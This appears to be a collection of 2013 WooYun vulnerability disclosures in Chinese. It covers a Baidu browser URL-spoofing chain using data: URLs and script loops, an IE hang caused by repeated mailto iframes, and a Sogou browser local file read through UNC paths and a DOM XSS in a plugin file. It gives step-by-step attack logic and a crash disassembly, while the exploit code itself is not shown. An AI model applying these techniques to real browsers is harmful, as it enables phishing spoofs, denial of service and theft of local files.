百度浏览器data协议和脚本处理等4个地方有问题,可以伪造任意网站。 偶尔会因为堆访问出错程序崩溃,测试了二十多次只出现了一次。 ps:非之前的坑爹脚本,但是之前的那种spoof百度还是没修复。。 问题由这些因素综合而来 1、百度处理网页的时候有一个蛋疼的设定:如果网页里面有一个iframe的网址无法打开,那么百度浏览器会把整个页面的地址都给替换成出错的网址,但是此时页面的地址并不是出错的那个,而是
data:text/html,biduwebdata
,也就是显示错误信息;由于这个data:协议非常容易伪造,给了这个脚本可乘之机; 2、百度浏览器处理脚本死循环的时候不会退出或者提示终止,而是让整个页面卡着不动,例如

或者

,前者让浏览器页面卡住,但是内容照常显示,后者一直弹出对话框,程序只能通过任务管理器禁止, 3、百度浏览器当脚本执行超过5s的时候不会显示加载的小圆圈。 4、百度浏览器能识别http:\www.baidu.com,http:/\www.baidu.com等等网址,而且由于之前的栈溢出( WooYun: 百度浏览器5.0正式版(2.200.0.41563)拒绝服务漏洞 )毛病改了个新法子:网址超过4000多字(忘了。。刚才崩溃的时候看到分配的好像是这么多)的时候直接显示无法连接 组合这4个问题: 1、利用location.href将自己的地址替换成data:text/html,xxx形式,然后打开一个data:text/html,xxx2的新窗口 2、可以在xxx2中写入一个超长地址,而且是http:\\www.baidu.com/xxx这种的iframe,同时让它转换转换 3、根据特性【4】,xxx2出错,同时根据特性【1】,xxx2显示的网址变为了http://www.baidu.com/xxxxx,xxx2的location.href变为了data:text/html,biduwebdata,也就是显示的是http://,但是协议依然是data:。 4、根据同源原理,xxx1此时可以写入xxx2,此时修改xxx2内容并加入一个死循环,由于百度的特性【2】,百度不会再试图向xxx2写入自己的报错数据,或者说没机会写入,然后由于【3】的原因,几秒后,就可以spoof一个“加载完成”的页面了 ps:地址短于10000的话,还会显示百度认证图标-,- 偶尔崩溃的情况
CPU Disasm Address Hex dump Command Comments 00167B10 /$ 51 PUSH ECX 00167B11 |. 8D4C24 04 LEA ECX,
00167B15 |. 2BC8 SUB ECX,EAX 00167B17 |. 1BC0 SBB EAX,EAX 00167B19 |. F7D0 NOT EAX 00167B1B |. 23C8 AND ECX,EAX 00167B1D |. 8BC4 MOV EAX,ESP 00167B1F |. 25 00F0FFFF AND EAX,FFFFF000 00167B24 |> 3BC8 /CMP ECX,EAX 00167B26 |.- 72 0A |JB SHORT 00167B32 00167B28 |. 8BC1 |MOV EAX,ECX 00167B2A |. 59 |POP ECX 00167B2B |. 94 |XCHG EAX,ESP 00167B2C |. 8B00 |MOV EAX,DWORD PTR DS:
00167B2E |. 890424 |MOV DWORD PTR SS:
,EAX 00167B31 |. C3 |RETN 00167B32 |> 2D 00100000 |SUB EAX,1000 ;堆起始地址为0x00531000,减去0x1000之后的0x00530000处不可读 00167B37 |. 8500 |TEST DWORD PTR DS:
,EAX ; eax==530000; access violation,程序崩溃 00167B39 \.- EB E9 \JMP SHORT 00167B24

漏洞证明



ps:如果运行不了请联系我

缺陷编号:wooyun-2013-036210 漏洞标题:IE浏览器设计缺陷可导致系统挂起 相关厂商:微软 漏洞作者: LaiX 提交时间:2013-09-07 22:39 修复时间:2013-10-22 22:39 公开时间:2013-10-22 22:39 漏洞类型:设计缺陷/逻辑错误 危害等级:高

漏洞说明

已经很久没有什么能够让浏览器崩溃的BUG了吧。这个BUG重则导致系统挂起,轻则浏览器崩溃或挂起。 我们知道HTTP协议一向都是被禁止弹窗的。 如果我们使用的是
mailto
协议呢?情况会怎样? 经过测试mailto协议在WIN下的IE浏览器中会自动打开微软自带的邮件发送软件 在iframe的装饰下,这个本来看似正常的功能变得畸形了起来。

刷新几下发现,请求一次就会启动一次,如果我们无限请求会导致什么结果? Exploit:

漏洞证明

只要打开 Http://xxss.ml/crazy/test.html 不管你IE有多牛逼一样的挂起。 这里我用QQ浏览器的IE内核做了测试,差点系统挂起了

缺陷编号:wooyun-2013-028832 漏洞标题:搜狗浏览器任意文件读取漏洞 相关厂商:搜狗 漏洞作者: 心伤的胖子 提交时间:2013-07-14 12:41 修复时间:2013-10-12 12:41 公开时间:2013-10-12 12:41 漏洞类型:设计缺陷/逻辑错误 危害等级:高

漏洞说明

搜狗浏览器对通过 UNC 访问 127.0.0.1 域限制一直比较宽松,之前就出现过本地文件存在 xss 漏洞,可以读取本地的任意文件的漏洞。结果是搜狗把本地文件的 xss 给修复,并没有对 UNC 访问 127.0.0.1 域做限制。 其实只要找个任意的本地文件的 xss 漏洞就可以通过该漏洞读取本地的任意文件。 搜狗浏览器安装玩游戏插件后会把插件解压,解压后的文件夹下有如下的文件

C:\Documents and Settings\Administrator\Application Data\SogouExplorer\Extension\com.sogou.gamecenter\0.6.0\html\balloon.html

该文件存在 dom xss 漏洞,如下代码,从 location.href 取数据没有经过处理直接 document.write 操作,造成 xss 漏洞。

漏洞证明

在任意页面上构造如下代码: